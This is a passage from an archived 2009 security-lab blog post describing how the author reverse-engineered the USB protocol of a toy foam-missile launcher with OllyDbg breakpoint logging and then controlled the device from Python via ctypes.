&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pOverlapped = NULL
7C801812&amp;nbsp;&amp;nbsp; CALL to ReadFile from MissileL.0040433A
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; hFile = 000001A8 (window)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Buffer = 00B63954
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; BytesToRead = 2
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pBytesRead = 00B63984
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pOverlapped = NULL
7C810E17&amp;nbsp;&amp;nbsp; CALL to WriteFile from MissileL.00404357
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; hFile = 000001A8 (window)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Buffer = 00B6395D
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; nBytesToWrite = 2
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pBytesWritten = 00B63984
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pOverlapped = NULL
7C801812&amp;nbsp;&amp;nbsp; CALL to ReadFile from MissileL.00404374
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; hFile = 000001A8 (window)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Buffer = 00B63954
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; BytesToRead = 2
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pBytesRead = 00B63984
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pOverlapped = NULL
7C810E17&amp;nbsp;&amp;nbsp; CALL to WriteFile from MissileL.0040453F
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; hFile = 000001A8 (window)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Buffer = 00B6395D
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; nBytesToWrite = 2
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pBytesWritten = 00B63984
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pOverlapped = NULL&lt;/pre&gt;Let's take this one step further and extract the 2-byte data value being written to the HID handle by extending the conditional log breakpoint on WriteFile. Press 'Alt+b' to bring up the breakpoints window, next drag out the 'Address' column with the mouse to reveal the DLL and API names in addition to the address (there is a lot of &quot;hidden&quot; data like this in various OllyDbg columns). Right click the breakpoint for WriteFile and select &quot;Edit condition&quot;, the dialogue from earlier should pop back up. In the second row, for explanation put something like &quot;buffer&quot; and for expression enter &quot;word ptr [[esp+8]]&quot;, this will dereference and display the 2-bytes being written from the second argument of WriteFile(). Next for the row that reads &quot;Log value of expression&quot;, select the &quot;Always&quot; column radio control. Now when we interact with the MissileLauncher.exe GUI we should get log entries like this in addition to the ReadFile() / WriteFile() call / argument logs:&lt;br&gt;&lt;pre&gt;7C810E17&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; COND: buffer = 4000
7C810E17&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; COND: buffer = 4000
7C810E17&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; COND: buffer = 0800
7C810E17&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; COND: buffer = 4000
7C810E17&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; COND: buffer = 4000
7C810E17&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; COND: buffer = 2000&lt;/pre&gt;There are two steps left for decoding the protocol now. One we have to hit each button in the MissileLauncher.exe GUI and take note of the data being written to the HID handle and two, we have to pay attention to the order of reads and writes on the handle and mimick it in our own program. Running through these steps we can conclude the following protocol (from my finished Python script, to be linked later):&lt;br&gt;&lt;pre&gt;self.cmd_map&amp;nbsp;&amp;nbsp;&amp;nbsp; = \
{
&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;down&quot;&amp;nbsp; : 0x01,
&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;up&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp; : 0x02,
&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;left&quot;&amp;nbsp; : 0x04,
&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;right&quot; : 0x08,
&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;fire&quot;&amp;nbsp; : 0x10,
&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;stop&quot;&amp;nbsp; : 0x20,
&amp;nbsp;&amp;nbsp;&amp;nbsp; &quot;start&quot; : 0x40,
}&lt;/pre&gt;The 'start' and 'stop' commands are control codes for putting the device into and out of action. Taking note of the read / write order we conclude the following general pattern:&lt;br&gt;&lt;ol&gt;&lt;li&gt;write(start)&lt;/li&gt;&lt;li&gt;read()&lt;/li&gt;&lt;li&gt;write(command)&lt;/li&gt;&lt;li&gt;loop write(start) / read() while we want command to execute&lt;/li&gt;&lt;li&gt;write(stop)&lt;/li&gt;&lt;/ol&gt;No we're ready to start coding some Python. We'll rely on the ctypes library to call USBHID.OpenHID(), kernel32.ReadFile() and kernel32.WriteFile(). The kernel32 routines are exposed through ctypes.windll, for OpenHID() we can load the library and call the function like so:&lt;br&gt;&lt;pre&gt;self.hid&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; = ctypes.WinDLL(r&quot;C:\Program Files\USB Missile Launcher\usbhid.dll&quot;)
self.launcher&amp;nbsp;&amp;nbsp; = self.hid.OpenHID(0x0a81, 0x701, 1)&lt;/pre&gt;The various commands being written to the HID handle must be in the appropriate endianess (thanks ) and stored in a ctypes string buffer, like so:&lt;br&gt;&lt;pre&gt;start&amp;nbsp;&amp;nbsp; = ctypes.create_string_buffer(struct.pack(&quot;&amp;gt;h&quot;, self.cmd_map[&quot;start&quot;]))
command = ctypes.create_string_buffer(struct.pack(&quot;&amp;gt;h&quot;, self.cmd_map[cmd.lower()]))
stop&amp;nbsp;&amp;nbsp;&amp;nbsp; = ctypes.create_string_buffer(struct.pack(&quot;&amp;gt;h&quot;, self.cmd_map[&quot;stop&quot;]))&lt;/pre&gt;The rest is up to your imagination. You can download my code, &lt;a href=&quot;/legacy/2009-02-12-python-interfacing-a-usb-missile-launcher/ped_missile.py&quot;&gt;ped_missile.py&lt;/a&gt;, which implements a class for controlling the USB Missile Launcher as well as exposes three interfaces on top of that class. A command line interface, a socket server (protected by a password hardcoded on line 264) and a simple web interface. The web interface is fun for usage through the iPhone in conjunction with the 8$ application &lt;a href=&quot;http://www.senstic.com/iphone/aircam/aircam.aspx&quot; target=&quot;_top&quot;&gt;AirCam&lt;/a&gt; from Senstic.&lt;br&gt;&lt;br&gt;One interesting thing is that we have a lot more granular control of the turret movement now then we did with the original GUI. I wrote two simple loops to count the number of possible horizontal and vertical ticks and the results were 947 horizontal and 91 vertical versus 54 and 10 from the original GUI respectively. Granular control allows you to slowly and quietly reposition the turret for stealthy attacks. I also started writing a class function missile.reset() to center the device automatically but haven't finished it quite yet. Take a look at the source for further information. Everything should be fairly self explanatory.&lt;br&gt;&lt;br&gt;I'll conclude with an action video put together with the help of my teammates Ali, Cameron and Cody:&lt;br&gt;&lt;br&gt;&lt;p&gt;&lt;video controls preload=&quot;metadata&quot; src=&quot;/legacy/2009-02-12-python-interfacing-a-usb-missile-launcher/htd3s50Zhk8.mp4&quot;&gt;&lt;/video&gt;&lt;/p&gt;
&lt;p class=&quot;dim&quot;&gt;&lt;i&gt;Originally published 2009-02-12 on &lt;a href=&quot;https://web.archive.org/web/2009/http://dvlabs.tippingpoint.com/blog/2009/02/12/python-interfacing-a-usb-missile-launcher&quot; target=&quot;_top&quot;&gt;the TippingPoint DVLabs blog&lt;/a&gt;.&lt;/i&gt;&lt;/p&gt;
</description>
        </item>
            </channel>
</rss>
